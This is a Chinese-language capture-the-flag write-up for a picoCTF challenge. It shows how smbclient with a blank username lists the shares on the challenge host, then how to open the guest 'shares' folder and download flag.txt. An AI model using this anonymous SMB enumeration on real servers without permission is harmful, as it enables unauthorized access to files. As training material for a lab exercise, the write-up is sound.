題目連結
https://learn.cylabacademy.org/library/759
題目解法
列出共享目錄 (Enumeration)
首先我們使用smbclient,嘗試匿名登入查看伺服器上有那些共享資料夾,輸入密碼處直接按 enter。smbclient -L <host> -p <port> -U "" smbclient -L mysterious-sea.picoctf.net -p 53486 -U ""-L: 列出(List)所有的共享資源。-p 53486: 指定題目給的連接埠。-U "": 使用空用戶名(匿名)。
webshell:~$ smbclient -L mysterious-sea.picoctf.net -p 53486 -U "" Password for [WORKGROUP\]: Sharename Type Comment --------- ---- ------- shares Disk Public Share With Guests IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu) SMB1 disabled -- no workgroup available根據上方輸出內容,看到一個名為 shares 的共享資料夾,使用以下指令進入:
smbclient //mysterious-sea.picoctf.net/shares -p 53486 -U ""看到
smb: \>代表成功進入搜尋並下載檔案 在 SMB 互動介面中,你可以使用類似 Linux 的指令:
- 列出檔案:
ls - 切換目錄:
cd - 下載檔案:
get <檔案名稱>
webshell:~$ smbclient //mysterious-sea.picoctf.net/shares -p 53486 -U "" Password for [WORKGROUP\]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Mar 6 20:25:41 2026 .. D 0 Fri Mar 6 20:25:41 2026 dummy.txt N 1142 Wed Feb 4 21:22:17 2026 flag.txt N 37 Fri Mar 6 20:25:41 2026 65536 blocks of size 1024. 58696 blocks available smb: \> get flag.txt getting file \flag.txt of size 37 as flag.txt (12.0 KiloBytes/sec) (average 12.0 KiloBytes/sec)- 列出檔案:
在本地使用
cat查看flag.txtwebshell:~$ cat flag.txt picoCTF{5mb---------------------15b}